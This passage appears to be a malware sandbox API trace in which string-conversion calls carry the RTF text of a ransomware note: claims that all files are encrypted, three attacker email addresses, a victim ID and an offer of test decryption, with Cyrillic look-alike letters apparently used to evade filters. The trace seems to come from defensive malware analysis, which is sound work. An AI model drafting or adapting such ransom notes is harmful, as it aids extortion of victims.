PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.395] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd 